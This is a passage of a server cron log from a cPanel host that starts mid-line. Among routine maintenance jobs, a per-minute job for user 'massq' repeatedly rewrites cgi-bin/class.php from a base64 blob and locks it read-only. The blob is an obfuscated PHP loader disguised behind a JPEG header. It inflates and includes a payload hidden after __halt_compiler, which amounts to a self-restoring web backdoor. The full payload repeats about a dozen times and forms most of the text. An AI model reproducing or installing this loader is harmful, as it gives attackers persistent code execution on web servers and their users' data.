QVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:23:01 server CROND[31031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:23:01 server CROND[31032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:23:01 server CROND[31033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:24:01 server CROND[31394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:24:01 server CROND[31395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:24:01 server CROND[31396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:25:01 server CROND[31777]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:25:01 server CROND[31782]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:25:01 server CROND[31790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:25:01 server CROND[31793]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 20:25:01 server CROND[31795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:25:01 server CROND[31798]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:25:01 server CROND[31792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:25:01 server CROND[31794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:26:01 server CROND[32624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:26:01 server CROND[32626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:26:01 server CROND[32625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:27:01 server CROND[542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:27:01 server CROND[543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:27:01 server CROND[541]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 20:27:01 server CROND[544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:28:01 server CROND[1036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:28:01 server CROND[1037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:28:01 server CROND[1050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:29:01 server CROND[1497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:29:01 server CROND[1498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:29:01 server CROND[1499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:30:01 server CROND[1879]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:30:01 server CROND[1881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:30:01 server CROND[1887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:30:01 server CROND[1895]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:30:01 server CROND[1894]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 20:30:01 server CROND[1898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:30:01 server CROND[1896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:30:01 server CROND[1893]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:30:01 server CROND[1892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:31:01 server CROND[2774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:31:01 server CROND[2775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:31:01 server CROND[2776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:32:01 server CROND[3140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:32:01 server CROND[3141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:32:01 server CROND[3142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:33:01 server CROND[3507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:33:01 server CROND[3508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:33:01 server CROND[3509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:34:01 server CROND[3921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:34:01 server CROND[3922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
